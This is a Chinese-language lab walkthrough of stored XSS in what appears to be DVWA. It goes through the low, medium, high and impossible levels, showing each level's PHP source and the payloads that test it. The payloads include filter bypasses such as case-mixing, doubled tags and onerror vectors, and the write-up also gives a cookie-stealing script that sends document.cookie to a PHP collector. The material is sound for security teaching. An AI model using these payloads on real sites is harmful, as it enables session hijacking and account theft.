1.low
直接输入<script>alert(/xss/)</script>测试,只要查看这个日志就会弹出这个信息,依法炮制试试获取cookie
joke.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/joke/joke.php?joke='+encodeURIComponent(document.cookie);
//<script>alert(/xss/)</script>
joke.php
<?php
@ini_set('display_errors',1);
$str = $_GET['joke'];
$filePath = "joke.php";
if(is_writable($filePath)==false){
echo "can't write";
}else{
$handler = fopen(filePath, "a");
fwrite($handler, $str);
fclose($handler);
}
?>
输入 <script src="http://localhost/joke/joke.js></script>,发现并未能获取到任何数据,经过查看发现message里面有字数限制,则只需要进行抓包修改即可。因为是做实验可以,把文件名什么的修改的短一点能输入就能获取。那么接下来尝试窗口的跳转
输入<script>window.location="http://baidu.com"</script>即可跳转
实验证明少了http://或者双引号都无法跳转
源码
Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
trim(string,charlist)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
|
源码中只是简单的删除了charlist中的符号,并没有过滤任何的标签,当然存在xss漏洞
2.medium
直接输入<script>alert(/xss/)</script>,由下面显示就可以知道,<script>标签被过滤了
输入<sCript>alert(/xss/)</script> 大写后发现还是被过滤了,也就是说这次过滤是不分大小写的
输入<sCr<Script>ipt>alert(/xss/)</script>
输入<sCr<script>ipt>alert(/xss/)</scri</Script>pt> 大写加双写都被过滤了
那么这次肯定就是正则表达式过滤<script>标签了 试试其他的标签
输入<img src="http://localhost/joke.js">
输入<img src=""οnerrοr=alert(/xss/)> 也没有跳出窗口但是Message没有显示,肯定就是没有过滤img标签 了
同样<iframe onload =alert(/xss/)>也没有过滤
很明显了只是过滤了<script>标签,但是这样一来就无法做更多的事情了啊,或许可以加载一张真的图片里面有一条钓鱼。
最后在name中输入<sCr<Script>ipt>alert(/xss/)</script>,然后捉包改变一下字数限制,居然能弹出。
分析在message中做了过滤标签的处理,而在name中也做了但是应该只是简单的过滤了,没有考虑到大小写,和双写问题,应该只是个简单的replace
源码
Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
strip_tags(string,allow)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
allow | 可选。规定允许的标签。这些标签不会被删除。 |
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
用了三个函数来保证message的安全,最后的htmlspecialchars()函数就已经没有任何办法了,而name中只有一个replace真是尴尬,这也提醒了如果message不行就试试name啊,还有以下的直接输入"哈哈"发现自动多了反斜杠,多少也可以知道其中用了什么函数,这也是一个获取信息的思路啊
3.high
可以肯定Message做了和medium一样的防护了,所以不考虑message了,但是在name中不管输入大小学还是双写都没有用了,这时候就该想到黑名单过滤了,正则表达式。
直接输入<s 试试,name直接什么也不显示
在输入<script>,name中显示了>
已经可以确定了还是正则表达式的贪心从<开始匹配<script 除非匹配完整个<script否则一切的输入都被替换成空格,但如输入<script>alert(/xss/)</script 也会是空格,因为匹配完第一个之后,还是从第二个<开始匹配,最后整个变成空格,但是从输入>sa则完全可以显示,因为代码是从<开始匹配
那么可以怎么利用呢 如上所说可以使用 <img > <iframe>标签,因为他们并没有被过滤,但这两个标签似乎没什么威胁了
源码
Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
其中/i表示不区分大小写,所有不管用大小写,或者双写都不可能绕过。
4.Impoosible
在Name中输入"哈哈",Message中输入"啊哈哈"不仅加了反斜杠,还把双引号给转字义了
在输入<script>,已经不是换标签的问题了,特殊的符号会被直接转义
Stored XSS Source
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
定义和用法
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
并且使用了htmlspecialchars()就没有什么办法了,但是如果htmlspecialchars使用不当,就可以通过编码来绕过
最后XSS中绝对不止<script> <img> <iframe>这几个标签可用,并且XSS可以配合CSRF产生巨大的作用